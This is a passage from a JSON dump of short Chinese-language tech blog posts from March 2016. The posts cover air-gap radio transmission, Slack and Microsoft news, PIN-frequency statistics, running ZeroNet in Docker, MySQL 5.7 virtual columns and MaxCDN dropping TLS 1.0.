    "id": "6385",
    "body": "在「<a href=\"https://imgur.com/gallery/BAJ8j\">Pictures combined using Neural networks</a>」這邊看到一堆奇怪的東西，都還蠻有趣的 XDDD\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/aVWSQQU.webp\" /><img src=\"https://i.gslin.com/imgur/aVWSQQU.jpg\" alt=\"\" /></picture>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/ijRPmSk.webp\" /><img src=\"https://i.gslin.com/imgur/ijRPmSk.jpg\" alt=\"\" /></picture>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/rZHcTaJ.webp\" /><img src=\"https://i.gslin.com/imgur/rZHcTaJ.jpg\" alt=\"\" /></picture>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/9mrYZ7v.webp\" /><img src=\"https://i.gslin.com/imgur/9mrYZ7v.jpg\" alt=\"\" /></picture>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/FrJL10l.webp\" /><img src=\"https://i.gslin.com/imgur/FrJL10l.jpg\" alt=\"\" /></picture>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/FrJL10l.webp\" /><img src=\"https://i.gslin.com/imgur/FrJL10l.jpg\" alt=\"\" /></picture>",
    "title": "用類神經網路合成圖片產生一堆奇怪的東西... XD"
  },
  {
    "id": "6386",
    "body": "<a href=\"https://github.com/\">GitHub</a> 上的 <a href=\"https://github.com/fulldecent/system-bus-radio\">fulldecent/system-bus-radio</a> 這個專案可以打破實體隔離限制傳遞資訊：\r\n\r\n<blockquote>Some computers are intentionally disconnected from the rest of the world. This includes having their internet, wireless, bluetooth, USB, external file storage and audio capabilities removed. This is called \"air gapping\". Even in such a situation, this program can transmit radio.</blockquote>\r\n\r\n有些電腦因為種種因素而實體隔離 (像是因為安全因素，或是保密因素)，於是就有人研究各種方法傳遞資訊。這隻程式利用 system bus 在 <a href=\"https://www.apple.com/macbook-air/\">Macbook Air</a> 上產生 AM radio 訊號：\r\n\r\n<blockquote>And run it on an Apple MacBook Air (13-inch, Early 2015):\r\n\r\n<pre>./main</pre>\r\n\r\nThen use a Sony STR-K670P radio receiver with the included antenna and tune it to 1580 kHz on AM.</blockquote>\r\n\r\n這方法好硬... 但也證明了可以藉由這種方法傳遞訊息。\r\n\r\n<strong>Update</strong>：強者我同事 <a href=\"https://twitter.com/ccn\">ccn</a> 在 <a href=\"https://twitter.com/\">Twitter</a> 上找到一位日本人的 demo 影片：\r\n\r\n<blockquote class=\"twitter-tweet\" data-lang=\"en\"><p lang=\"pl\" dir=\"ltr\">System Bus Radio @ MacBook Pro 2.8GHz i7 15-inch Mid 2014, about 1300kHz AM Radio Mary? <a href=\"https://t.co/66BDOOsZC4\">pic.twitter.com/66BDOOsZC4</a></p>&mdash; 魚田雅彦 (@muota_here) <a href=\"https://twitter.com/muota_here/status/704924596802342913\">March 2, 2016</a></blockquote>\r\n<script async src=\"//platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>",
    "title": "打破實體隔離限制傳遞資訊"
  },
  {
    "id": "6389",
    "body": "<a href=\"http://techcrunch.com/\">TC</a> 丟出來的消息，宣稱<a href=\"https://www.microsoft.com/\">微軟</a>曾經規劃以 80 億美金購買 <a href=\"https://slack.com/\">Slack</a>：「<a href=\"http://techcrunch.com/2016/03/04/source-microsoft-mulled-an-8-billion-bid-for-slack-will-focus-on-skype-instead/\">Source: Microsoft mulled an $8 billion bid for Slack, will focus on Skype instead</a>」。\r\n\r\n不過這個計畫被微軟 CEO <a href=\"https://en.wikipedia.org/wiki/Satya_Nadella\">Satya Nadella</a> 與前 CEO <a href=\"https://en.wikipedia.org/wiki/Bill_Gates\">Bill Gates</a> 給擋了下來，認為不如把這筆錢放到 <a href=\"https://www.skype.com/\">Skype</a> 的研發上：\r\n\r\n<blockquote>Microsoft co-founder Bill Gates and CEO Satya Nadella were among those unconvinced by the idea, with Gates pushing instead to add more features into Skype to make it more competitive with Slack in the business market, our source says.</blockquote>\r\n\r\n我也覺得微軟高層的角度比較合理 (以手上有的資料來規劃)，雖然這幾年下來 Skype 愈改愈爛...",
    "title": "微軟曾經規劃以 80 億美金購買 Slack"
  },
  {
    "id": "6390",
    "body": "<a href=\"https://www.oculus.com/\">Oculus</a> 的創辦人 <a href=\"https://en.wikipedia.org/wiki/Palmer_Luckey\">Palmer Luckey</a> 說明為什麼在 <a href=\"https://www.apple.com/mac/\">Mac</a> 上沒有 <a href=\"https://www.oculus.com/rift/\">Rift</a> 可以用：「<a href=\"http://arstechnica.com/gaming/2016/03/oculus-founder-rift-will-come-to-mac-if-apple-ever-release-a-good-computer/\">Oculus Founder: Rift will come to Mac if Apple “ever releases a good computer”</a>」。\r\n\r\n回應其實頗委婉：\r\n\r\n<blockquote>[,] according to Oculus co-founder Palmer Luckey, it \"is up to Apple\" to change that state of affairs. Specifically, \"if they ever release a good computer, we will do it,\" he told Shacknews recently.</blockquote>\r\n\r\n但實際上就是在抱怨 Mac 太慢了 XDDD\r\n\r\n<blockquote>\"It just boils down to the fact that Apple doesn’t prioritize high-end GPUs,\" he said. \"You can buy a $6,000 Mac Pro with the top-of-the-line AMD FirePro D700, and it still doesn’t match our recommended specs.\"</blockquote>\r\n\r\n看起來 VR 會再促進硬體進步...",
    "title": "Oculus 的創辦人根本就是在抱怨 Mac 太慢了 XDDD"
  },
  {
    "id": "6391",
    "body": "Email 發明人 <a href=\"https://en.wikipedia.org/wiki/Ray_Tomlinson\">Ray Tomlinson</a> 過世：「<a href=\"http://www.theverge.com/2016/3/6/11168718/ray-tomlinson-dead-inventor-of-email-obituary\">Inventor of email and savior of the @ sign, Ray Tomlinson, is dead at 74</a>」。\r\n\r\n第一封 Email 出自 1971 年 (45 年前)，在「<a href=\"http://joshrowe.com/2016/03/06/rip-largest-social-media-network-founder/\">RIP: Largest Social Media Network Founder</a>」這邊提到，把 Email 描述成全世界最大的 social media network 也不為過：\r\n\r\n<blockquote>The <a href=\"http://www.radicati.com/wp/wp-content/uploads/2015/02/Email-Statistics-Report-2015-2019-Executive-Summary.pdf\">world’s largest social media network is Email</a> with;\r\n<ul>\r\n\t<li>4.6 billion email accounts globally,</li>\r\n\t<li>shared between 2.6 billion users,</li>\r\n\t<li>that’s 1.7 accounts per user</li>\r\n</ul></blockquote>",
    "title": "Email 發明人過世"
  },
  {
    "id": "6392",
    "body": "<a href=\"https://slack.com/\">Slack</a> 開始測語音通話功能了：「<a href=\"http://get.slack.help/hc/en-us/articles/216771908\">Making voice calls in Slack</a>」，目前是 beta：\r\n\r\n<blockquote><strong>Keep in mind</strong>: Calls (beta) is currently <strong>voice only</strong> and <strong>desktop only</strong>. Video, screen sharing, and mobile support will come in the future.</blockquote>\r\n\r\n包括了 one-to-one (開放給所有的 plan)，以及 group (開放給付費 plan)。\r\n\r\n在 troubleshooting 的說明裡有提到技術問題，也可以看出一些東西：\r\n\r\n<blockquote>If Slack is having trouble establishing a call connection, check the following settings, or ask your IT admin to do so:\r\n<ul>\r\n\t<li>Set your network to allow outbound UDP connections to port 22466.</li>\r\n\t<li>Make sure your network is allowing incoming traffic from UDP 22466.</li>\r\n</ul></blockquote>\r\n\r\n功能愈來愈齊了...",
    "title": "Slack 開始測試語音通話功能"
  },
  {
    "id": "6393",
    "body": "在 <a href=\"https://www.fbi.gov/\">FBI</a> 與 <a href=\"https://www.apple.com/\">Apple</a> 的戰爭開打後，愈來愈多安全與隱私問題被重新拿出來檢驗，而 <a href=\"https://www.amazon.com/\">Amazon</a> 也決定將 2015 年拔掉的加密功能搬回 <a href=\"https://developer.amazon.com/sdk/fireos.html\">Fire OS</a> 裡：「<a href=\"http://www.bloomberg.com/news/articles/2016-03-05/amazon-reverses-course-encryption-returning-for-fire-devices\">Amazon Reverses Course, Encryption Returning for Fire Devices</a>」：\r\n\r\n<blockquote>Amazon.com Inc. will restore encryption as a security option on its tablets and other devices that use the Fire operating system, following a customer backlash driven by increased sensitivity about data protection as Apple Inc. grapples with the FBI over access to a terrorist’s iPhone.</blockquote>\r\n\r\n預定是今年春天加回來：\r\n\r\n<blockquote>Amazon reversed course late Friday night, saying in an e-mail that it would restore encryption as an option on Fire devices with a software update “this spring,“ without being more specific.</blockquote>\r\n\r\n愈來愈多公司與產品都認定加密是「基本功能」，無論你有沒有接觸到敏感資料。",
    "title": "Amazon Fire 會把加密系統弄回來"
  },
  {
    "id": "6394",
    "body": "愈來愈多捕捉無人機的方式被發展出來，像這個是透過網子與降落傘拉下來：「<a href=\"http://mashable.com/2016/03/05/skywall-drone-stopper/\">SkyWall gun stops drones dead, then gives a parachute landing</a>」：\r\n\r\n<blockquote>The most important feature of SkyWall is that it not only stops the flight of a drone but, once it captures a drone, it deploys a mini-parachute, bringing the drone back to earth with no damage, allowing authorities to keep it intact for subsequent investigation.</blockquote>\r\n\r\n這個 GIF 展示了捕捉的方法與過程：\r\n\r\n<img src=\"https://i.gslin.com/imgur/l5a8LPX.gif\" alt=\"\" />",
    "title": "愈來愈多無人機捕捉方式被發展出來"
  },
  {
    "id": "6395",
    "body": "在「<a href=\"https://www.washingtonpost.com/news/the-intersect/wp/2016/03/03/quiz-can-we-guess-your-age-and-income-based-solely-on-the-apps-on-your-phone/\">Quiz: Can we guess your age and income, based solely on the apps on your phone?</a>」這篇給了一個測驗，透過回答 32 題 Yes/No 的答案來猜測你的性別、婚姻狀態與收入範圍，大約是 61% 到 82% 的準確率：(為什麼會是一個範圍？)\r\n\r\n<blockquote>Based on those models, they then found that they could predict a user’s gender, age, marital status and income with between 61- and 82-percent accuracy.</blockquote>\r\n\r\n會猜測四個答案，所以是 16 種組合：\r\n\r\n<blockquote>There are 16 possible results, based on your gender (male/female), your age (over/under 32), your marital status (married/single) and your income (over/under $52,000).</blockquote>\r\n\r\n做完後很不準 XDDD\r\n\r\n我猜測用的方式與很久前 <a href=\"http://pesty.yichi.org/\">pest</a> 講的「<a href=\"http://pesty.yichi.org/2007/05/10/clickstream/\">網路廣告商怎麼知道你是誰? 從 ClickStream 來判斷用戶資料</a>」的方法類似，用已知的資料去 train 出一個模型，再丟進去判斷...",
    "title": "透過你用的 App 猜測你的性別、婚姻狀態與收入範圍"
  },
  {
    "id": "6396",
    "body": "<a href=\"https://github.com/\">GitHub</a> 提供了新的 API 讓 client 可以更省網路資源，同時 GitHub 本身也可以省下 query。雖然是 Preview 期間，但已經有專案開始用了：「<a href=\"https://developer.github.com/changes/2016-02-24-commit-reference-sha-api/\">Commit Reference SHA-1 Preview Period</a>」。\r\n\r\n本來是這樣抓：\r\n\r\n<pre>curl \"https://api.github.com/repos/Homebrew/homebrew/commits/master\" \\\r\n  -H \"Accept: application/vnd.github.chitauri-preview+sha\"</pre>\r\n\r\n現在則可以加上 <code>If-None-Match</code>：\r\n\r\n<pre>curl \"https://api.github.com/repos/Homebrew/homebrew/commits/master\" \\\r\n  -H \"Accept: application/vnd.github.chitauri-preview+sha\" \\\r\n  -H \"If-None-Match: \\\"814412cfbd631109df337e16c807207e78c0d24e\\\"\"</pre>\r\n\r\n當本地與遠端的 SHA-1 值一樣時會收到 304，而且不會吃 rate limit quota：\r\n\r\n<blockquote>If the remote and your local branch point to the same SHA-1 then this call will return a 304 Unmodified status code (and not use your rate limit).</blockquote>\r\n\r\n尤其是當 commit reference 指到的 commit 特別大包時，可以省下很多資源...",
    "title": "GitHub 提供更輕量的 Commit Reference SHA-1 API"
  },
  {
    "id": "6397",
    "body": "最近有有聲音在討論足球比賽使用錄影重播判決了：「<a href=\"http://www.bbc.com/sport/football/35736241\">Video referees in football 'no later' than 2017-18 - IFAB</a>」，預定在 201718 賽季使用：\r\n\r\n<blockquote>A trial of the use of video assistant referees for \"game-changing decisions\" in football will begin no later than the 2017-18 season.</blockquote>\r\n\r\n目前的規劃中只有在某些特定判決時使用：\r\n\r\n<blockquote>Technology would only be applied to key incidents concerning goals, red cards, mistaken identities and penalties.</blockquote>\r\n\r\n相較於網球已經都在用<a href=\"https://zh.wikipedia.org/wiki/%E9%B9%B0%E7%9C%BC%E7%B3%BB%E7%BB%9F\">鷹眼系統</a> (<a href=\"https://en.wikipedia.org/wiki/Hawk-Eye\">Hawk-Eye</a>) 改判，足球比賽還是維持很傳統的方式在維持比賽...",
    "title": "足球的錄影重播判決"
  },
  {
    "id": "6399",
    "body": "分析信用卡四位數密碼的分佈：「<a href=\"http://datagenetics.com/blog/september32012/index.html\">PIN number analysis</a>」。\r\n\r\n透過已經外洩的資料分析：\r\n\r\n<blockquote>Obviously, I don’t have access to a credit card PIN number database. Instead I’m going to use a proxy. I’m going to use data condensed from released/exposed/discovered password tables and security breaches.</blockquote>\r\n\r\n19xx 那邊特別高，拉出來看可以看到分佈：(很像是出生年 XDDD)\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/sQa8S4M.webp\" /><img src=\"https://i.gslin.com/imgur/sQa8S4M.jpg\" alt=\"\" /></picture>\r\n\r\n相同的 abab (前兩碼與後兩碼相同) 也可以看出特別高，而 aaaa (四碼都一樣) 的特別亮：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/eu2rngK.webp\" /><img src=\"https://i.gslin.com/imgur/eu2rngK.jpg\" alt=\"\" /></picture>\r\n\r\n當不只四碼時，也有一些數據：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/2MtZdA3.webp\" /><img src=\"https://i.gslin.com/imgur/2MtZdA3.jpg\" alt=\"\" /></picture>\r\n\r\n另外是特別高的 1004 的原因：\r\n\r\n<blockquote>Many people also asked the significance of 1004 in the four character PIN table. This comes from Korean speakers. When spoken, \"1004\" is cheonsa (cheon = 1000, sa=4).\r\n\r\n\"Cheonsa\" also happens to be the Korean word for Angel.</blockquote>",
    "title": "四位數密碼的分佈"
  },
  {
    "id": "6400",
    "body": "在「<a href=\"https://torrentfreak.com/play-p2p-impossible-shutdown-160301/\">Play: A P2P Distributed Torrent Site That's Impossible to Shut Down</a>」這邊看到 <a href=\"https://zeronet.io/\">ZeroNet</a>，標語是使用 P2P 分散式站台：\r\n\r\n<blockquote>Real-time updated, P2P websites using Bitcoin cryptography and the BitTorrent network</blockquote>\r\n\r\n想說丟進 <a href=\"https://www.docker.com/\">Docker</a> 裡玩看看，測了一下沒什麼問題，只要 port forwarding 打幾個洞就好了。\r\n\r\n先開 port 15441 (對外溝通) 與 port 43110 (UI 用)，這兩個是預設值：\r\n\r\n<pre>$ docker run -p 15441:15441 -p 0.0.0.0:43110:43110 -t -i ubuntu:14.04 /bin/bash</pre>\r\n\r\n這邊的 0.0.0.0 是開放給任何連的到這台主機的人用，也許你應該用 127.0.0.1 或是 192.168.x.x 之類的 IP 會比較保險。\r\n\r\n然後進 Docker container 後裝個 <a href=\"https://www.gnu.org/software/wget/\">Wget</a> 並且把檔案抓下來解開：\r\n\r\n<pre># apt-get install wget\r\n# cd /tmp\r\n# wget https://github.com/HelloZeroNet/ZeroBundle/releases/download/0.1.1/ZeroBundle-linux64-v0.1.1.tar.gz</pre>\r\n\r\n這邊建議去官網上看一下最新的 <a href=\"http://www.linux.org/\">Linux</a> 版本是什麼再抓下來跑。接著解開後直接執行兩次 (因為第一次會失敗 XDDD)：\r\n\r\n<pre># tar zxvf ZeroBundle-linux64-v0.1.1.tar.gz\r\n# cd ZeroBundle\r\n# ./ZeroNet.sh --ui_ip 0.0.0.0\r\n# ./ZeroNet.sh --ui_ip 0.0.0.0</pre>\r\n\r\n然後你應該就可以在瀏覽器裡開 http://127.0.0.1:43110/ 看到東西了，在 TF 的站上也有提供一些好東西的網址，這邊就不提了...\r\n\r\n看起來也可以包成 image 來用，網路上應該有人包...",
    "title": "在 Docker 裡跑 ZeroNet"
  },
  {
    "id": "6401",
    "body": "<a href=\"http://www.oreilly.com/\">O'Reilly</a> 放出了一大包的資料：「<a href=\"http://www.oreilly.com/data/free/archive.html\">O'Reilly Media - Free Data Report Archive</a>」。\r\n\r\n看起來是報告形式，2015 的資料比較多，2014/2013/2012 的比較少... 看起來有不少圖表，之後要做投影片時也許可以拿來用 (還沒看 license)。",
    "title": "O'Reilly 放出一大包的 Free Data Report Archive"
  },
  {
    "id": "6402",
    "body": "應該是前陣子被 <a href=\"http://nuzzel.com/\">Nuzzel</a> 推薦 2015 八月的老新聞，這個研究在 <a href=\"http://www.nature.com/\">Nature</a> 上發表：「<a href=\"http://www.nature.com/news/over-half-of-psychology-studies-fail-reproducibility-test-1.18248\">Over half of psychology studies fail reproducibility test</a>」。\r\n\r\n這個研究重複了 98 篇原創研究來重新實驗：\r\n\r\n<blockquote>In the biggest project of its kind, Brian Nosek, a social psychologist and head of the Center for Open Science in Charlottesville, Virginia, and 269 co-authors repeated work reported in 98 original papers from three psychology journals, to see if they independently came up with the same results.</blockquote>\r\n\r\n結果在 100 次的實驗 (其中有 2 個是重複的) 發現只有 39 個實驗結果被重製出來：\r\n\r\n<blockquote>According to the replicators' qualitative assessments, as previously reported by Nature, only 39 of the 100 replication attempts were successful. (There were 100 completed replication attempts on the 98 papers, as in two cases replication efforts were duplicated by separate teams.)</blockquote>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/SU0RKZL.webp\" /><img src=\"https://i.gslin.com/imgur/SU0RKZL.jpg\" alt=\"\" /></picture>\r\n\r\n這成功率其實頗低，如果實驗無法被重製，就不能算科學研究...",
    "title": "超過一半的心理研究都無法重製結果"
  },
  {
    "id": "6403",
    "body": "微軟的 <a href=\"https://en.wikipedia.org/wiki/Microsoft_SQL_Server\">Microsoft SQL Server</a> 將會推出 <a href=\"http://www.linux.org/\">Linux</a> 版：「<a href=\"https://blogs.microsoft.com/blog/2016/03/07/announcing-sql-server-on-linux/\">Announcing SQL Server on Linux</a>」。\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/EzHUUny.webp\" /><img src=\"https://i.gslin.com/imgur/EzHUUny.jpg\" alt=\"\" /></picture>\r\n\r\n看到 <a href=\"http://www.ubuntu.com/\">Ubuntu</a> 這個關鍵字：\r\n\r\n<blockquote>“We are delighted to be working with Microsoft as it brings SQL Server to Linux,” said Mark Shuttleworth, founder of Canonical. “Customers are already taking advantage of Azure Data Lake services on Ubuntu, and now developers will be able to build modern applications that utilize SQL Server’s enterprise capabilities.”</blockquote>\r\n\r\n目前是 private preview，申請後測試：\r\n\r\n<blockquote>The private preview of SQL Server on Linux is available starting today and we look forward to working with the community, our customers and our partners to bring it to market.</blockquote>",
    "title": "Microsoft SQL Server 出 Linux 版..."
  },
  {
    "id": "6404",
    "body": "<a href=\"https://www.google.com/\">Google</a> 的 <a href=\"https://deepmind.com/\">DeepMind</a> 所研發出來的 <a href=\"https://deepmind.com/alpha-go.html\">AlphaGo</a> 與<a href=\"https://zh.wikipedia.org/wiki/%E6%9D%8E%E4%B8%96%E4%B9%AD\">李世乭</a>的「谷李五番棋」將在今天開打。\r\n\r\n中國規則、兩個小時、一分鐘讀秒：\r\n\r\n<blockquote>The matches will be played under Chinese rules with a komi of 7.5 (the compensation points the player who goes second receives at the end of the match). Each player will receive two hours per match with three lots of 60-second byoyomi (countdown periods after they have finished their allotted time).</blockquote>\r\n\r\n將在韓國時間下午一點開賽，對我們也就是十二點開賽：\r\n\r\n<blockquote>The matches will be held at the Four Seasons Hotel, Seoul, South Korea, starting at 1pm local time (4am GMT; day before 11pm ET, 8pm PT) on March 9th, 10th, 12th, 13th and 15th.</blockquote>\r\n\r\n將會有大量的媒體講解直播，毫無疑問的，<a href=\"https://www.youtube.com/\">YouTube</a> 在 <a href=\"https://www.youtube.com/channel/UCP7jMXSY2xbc3KCAE0MHQ-A\">DeepMind</a> 這個頻道會有直播，目前看起來是早上的十一點半就會開始了。\r\n\r\n其他的頻道，台灣已知的有：\r\n\r\n<ul>\r\n\t<li>下午一點半開始將在緯來體育台直播。</li>\r\n\t<li>中午十二點半將在 <a href=\"https://livehouse.in/\">LIVEhouse.in</a> 開始討論：<a href=\"https://livehouse.in/channel/Haifong\">Haifong 海峰棋院直播室</a></li>\r\n</ul>\r\n\r\n不過我應該會到處看吧，中國的圍棋網站「<a href=\"http://www.weiqitv.com/\">围棋TV</a>」也會在十一點半開始直播。\r\n\r\n很多人都有猜測勝負，但自從去年十月贏了<a href=\"https://zh.wikipedia.org/wiki/%E6%A8%8A%E9%BA%BE\">樊麾</a>後，不知道成長了多少。其實都是在資訊不足的情況下猜測，在這種情況下，人類大獲全勝或是電腦大獲全勝都不意外...\r\n\r\n也因此，五番棋的第一盤應該是最轟動的，因為可以看出 AlphaGo 長到什麼程度... 不過聽說第一盤 Google 只會拿單機版出來應戰？所以如果輸的很慘的話就會拿雲端版來戰？\r\n\r\n啊啊啊我好想看啊...",
    "title": "谷李五番棋今天開打"
  },
  {
    "id": "6406",
    "body": "<a href=\"https://www.percona.com/\">Percona</a> 提到了 <a href=\"https://dev.mysql.com/\">MySQL</a> 5.7 的 JSON 與 virtual column，再加上 index 後的效能提昇：「<a href=\"https://www.percona.com/blog/2016/03/07/json-document-fast-lookup-with-mysql-5-7/\">JSON document fast lookup with MySQL 5.7</a>」。\r\n\r\n每一家都把這些功能給做出來了，在 MySQL 5.7 提供了 JSON 格式：\r\n\r\n<pre>CREATE TABLE `test_features` (\r\n  `id` int(11) NOT NULL AUTO_INCREMENT,\r\n  <strong>`feature` json NOT NULL,</strong>\r\n  PRIMARY KEY (`id`)\r\n) ENGINE=InnoDB;</pre>\r\n\r\n而你可以對 JSON 欄位運算，拉出資料後產生出 virtual column：\r\n\r\n<pre>ALTER TABLE test_features ADD COLUMN street VARCHAR(30) GENERATED ALWAYS AS (json_unquote(json_extract(`feature`,'$.properties.STREET'))) VIRTUAL;</pre>\r\n\r\n然後就可以對 virtual column 下 index：\r\n\r\n<pre>ALTER TABLE test_features ADD KEY `street` (`street`);</pre>\r\n\r\n接著對 virtual column 查詢的速度就會超快：\r\n\r\n<pre>SELECT count(*) FROM test_features WHERE street = 'BEACH';</pre>\r\n\r\n其實不一定要 JSON，光是 virtual column 與 index 就可以解決老問題：\r\n\r\n<blockquote>已經有使用者所在的國家，想要快速查詢使用者是住在哪個洲 (亞洲、歐洲、美洲、...)。</blockquote>\r\n\r\n以前是另外拆出一個欄位來做，用 trigger 更新確保資料正確性後，再對拆出來的欄位下 index。現在可以用 virtual column 建立出來下 index。",
    "title": "MySQL 5.7 的 JSON、Virtual Column 以及 Index"
  },
  {
    "id": "6407",
    "body": "看到 <a href=\"http://www.samsung.com/\">Samsung</a> 弄出單顆 15TB 的 SSD 來嚇大家：「<a href=\"http://www.computerworld.com/article/3040208/data-storage/samsung-ships-the-worlds-highest-capacity-ssd-with-15tb-of-storage.html\">Samsung ships the world's highest capacity SSD, with 15TB of storage</a>」，Samsung 的官方新聞稿在這：「<a href=\"https://news.samsung.com/global/samsung-now-introducing-worlds-largest-capacity-15-36tb-ssd-for-enterprise-storage-systems\">Samsung Introduces World’s Largest Capacity (15.36TB) SSD for Enterprise Storage Systems</a>」。\r\n\r\n<img src=\"https://i.gslin.com/imgur/POpV9Qp.jpg\" alt=\"\" />\r\n\r\n2.5 吋的 SAS 界面，表示在不考慮預算的情況下，差不多比現在最大的傳統硬碟大了一倍：\r\n\r\n<blockquote>The 2.5-in SSD is based on a 12Gbps Serial Attached SCSI (SAS) interface for use in enterprise storage systems.</blockquote>\r\n\r\n所以用 2U 伺服器塞 24 顆的情況如何？感覺好讚啊 XDDD",
    "title": "單顆最大容量的 SSD：15TB"
  },
  {
    "id": "6408",
    "body": "在「<a href=\"https://josephscott.org/archives/2016/03/chrome-network-panel-filter-domain/\">Chrome Network Panel Filter: Domain</a>」這篇看到有趣的用法：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/SdO8KzD.webp\" /><img src=\"https://i.gslin.com/imgur/SdO8KzD.jpg\" alt=\"\" /></picture>\r\n\r\n輸入完 <code>domain:</code> 後會列出許多選擇讓你選，還包括了 wildcard... 這功能真不錯 @_@",
    "title": "Google Chrome Developer Tools 裡的 Network Filter"
  },
  {
    "id": "6409",
    "body": "剛剛收到 <a href=\"https://plastc.com/\">Plastc</a> 通知信說他們更新消息，有 prototype 的示範影片可以看了：「<a href=\"https://plastc.com/blog/plastc-prototype-in-action\">Plastc Prototype in Action</a>」。\r\n\r\n先看他們之前的宣傳影片：\r\n\r\n<iframe src=\"https://player.vimeo.com/video/155597042\" width=\"500\" height=\"281\" frameborder=\"0\" webkitallowfullscreen mozallowfullscreen allowfullscreen></iframe>\r\n\r\n而這是工程版的 prototype 示範影片：\r\n\r\n<iframe src=\"https://player.vimeo.com/video/158413828\" width=\"500\" height=\"281\" frameborder=\"0\" webkitallowfullscreen mozallowfullscreen allowfullscreen></iframe>\r\n\r\n比起以前嘴砲來的可信度高多了，雖然還是很有可能沒出貨...\r\n\r\nPre-order (預購) 是 USD$155，而寄到台灣要多加 USD$10 的費用，所以是 USD$165。我就當跟當初買挖礦機的風險一樣好了，沒預期會拿到東西。\r\n\r\n如果你有興趣，而且也願意承擔最後有可能沒出貨的風險，可以用我的連結購買：<a href=\"https://share.plastc.com/x/NO0S0J\">https://share.plastc.com/x/NO0S0J</a>，我跟你都會拿到 USD$20 的好處：\r\n\r\n<blockquote>They’ll receive a $20 discount when they pre-order Plastc, and you’ll receive a $20 Amazon gift card with your Plastc Card.</blockquote>\r\n\r\n<strong>Update</strong>：補充其他人對這個產品的反面看法。\r\n\r\n<blockquote class=\"twitter-tweet\" data-conversation=\"none\" data-lang=\"en\"><p lang=\"zh\" dir=\"ltr\"><a href=\"https://twitter.com/gslin\">@gslin</a> 磁條不安全所以已經慢慢沒在用了，晶片的部分網頁也有註記還沒啟用。其他同類型的產品也都卡在 emv 的功能。疑惑的是如果晶片能複製不是很奇怪，如果要跟 apple pay 一樣那又必須要各家銀行談合作。覺得現在買這種卡之後不能用的風險很高。</p>&mdash; Yung S. (@kaxing) <a href=\"https://twitter.com/kaxing/status/708088675322605568\">March 11, 2016</a></blockquote>\r\n<script async src=\"//platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>",
    "title": "超強的萬用信用卡 Plastc 的原型工程版出來了..."
  },
  {
    "id": "6410",
    "body": "<a href=\"https://letsencrypt.org/\">Let's Encrypt</a> 的官方 Client 決定改名，不過目前還沒有公佈新的名字：「<a href=\"https://letsencrypt.org/2016/03/09/le-client-new-home.html\">New Name, New Home for the Let's Encrypt Client</a>」。\r\n\r\n主要是兩個原因，第一個是避免商標問題：\r\n\r\n<blockquote>[...] we want the client to be distributable and customisable without having to create a complex process for deciding whether customized variants are appropriate for use with Let’s Encrypt trademarks.</blockquote>\r\n\r\n另外一個是希望之後有其他的 CA 也可以用：\r\n\r\n<blockquote>Another reason is that we want it to be clear that the client can work with any ACME-enabled CA in the future, not just Let’s Encrypt.</blockquote>",
    "title": "Let's Encrypt 的官方版本 Client 將會改名"
  },
  {
    "id": "6411",
    "body": "<a href=\"https://www.google.com/\">Google</a> 將不再對外公開 <a href=\"https://en.wikipedia.org/wiki/PageRank\">PageRank</a> 資訊：「<a href=\"http://searchengineland.com/google-has-confirmed-they-are-removing-toolbar-pagerank-244230\">Google has confirmed it is removing Toolbar PageRank</a>」與「<a href=\"http://searchengineland.com/rip-google-pagerank-retrospective-244286\">RIP Google PageRank score: A retrospective on how it ruined the web</a>」。\r\n\r\nPageRank 資訊是透過 <a href=\"https://www.google.com/toolbar/\">Google Toolbar</a> 再反向被挖出來的，而 Toolbar 上的資訊將會拿掉，也預期對應的 API 應該也會關閉：\r\n\r\n<blockquote>Google has confirmed with Search Engine Land that it is removing Toolbar PageRank. That means that if you are using a tool or a browser that shows you PageRank data from Google, within the next couple weeks it will begin not to show any data at all.</blockquote>\r\n\r\nGoogle 內部還是會用，只是不會公開了...",
    "title": "Google PageRank 資料將不再公開"
  },
  {
    "id": "6412",
    "body": "這一槍開的好早，<a href=\"https://www.maxcdn.com/\">MaxCDN</a> 宣佈因為安全性問題，決定從下個禮拜就中止對 TLS 1.0 的支援：「<a href=\"https://www.maxcdn.com/blog/rip-tls-1-0/\">We're Disabling TLS 1.0 Support on March 18, 2016</a>」。\r\n\r\n而且新聞稿也寫的超怪：\r\n\r\n<blockquote>After sunsetting TLS 1.0 at MaxCDN, we will continue to support TLS 1.1 and TLS 1.2, though we highly recommend TLS 2.0 for your toolset. It’s currently the fastest and most secure cryptographic protocol available, though TLS 3.0 is in the works.</blockquote>\r\n\r\n其中提到了 TLS 2.0，害我去查了查發生什麼事情。而 TLS 3.0 的連結實際上是連到 TLS 1.3 draft。而實際確認數字會發現，有不少行動裝置還是只支援 TLS 1.0，用 MaxCDN 的人就準備掛光：\r\n\r\n<ul>\r\n\t<li><a href=\"https://www.android.com/\">Android</a> 4.3 以及之前的版本，大約佔整個 Android 的 27%，出自「<a href=\"https://developer.android.com/about/dashboards/index.html\">Dashboards</a>」的數據。</li>\r\n\t<li>Java 7 以及之前的版本。</li>\r\n\t<li>Windows 7 上的 IE10 以及之前的版本。</li>\r\n</ul>\r\n\r\n這家 CDN 果然怪怪的... 在 TLS 1.0 仔細設定可以保持安全性的情況下，加上還有這麼多 client 要支援，做生意的突然來被這招陰是要怎麼玩 :o",
    "title": "MaxCDN 將中止 TLS 1.0 的支援"
  },
  {
    "id": "6413",
